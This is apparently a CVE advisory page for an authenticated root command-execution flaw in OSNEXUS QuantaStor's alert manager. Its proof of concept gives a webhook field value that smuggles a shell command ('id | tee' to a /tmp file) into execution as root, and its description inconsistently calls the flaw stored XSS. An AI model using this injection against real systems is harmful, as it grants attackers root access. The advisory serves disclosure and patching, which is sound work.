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Critical · 9.1 CVE-2021-4406 EUVD-2021-34233GHSA-2xf9-j9jw-g7f7

Authenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and others

Published Jul 10, 2023 · Updated Sep 24, 2025 · Assigned by DIVD

Description

An authenticated attacker is able to create alerts that trigger a stored XSS attack.

POC

* go to the alert manager

* open the ITSM tab
* add a webhook with the URL/service token value

' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters)

* click add

* click apply

* create a test alert

* The test alert will run the command

“id | tee /tmp/ttttttddddssss” as root.

* after the test alert inspect

/tmp/ttttttddddssss it'll contain the ids of the root user.

Affected products

VendorProductAffectedFixed
OSNEXUS QuantaStor ≤ 6.0.0.355 —

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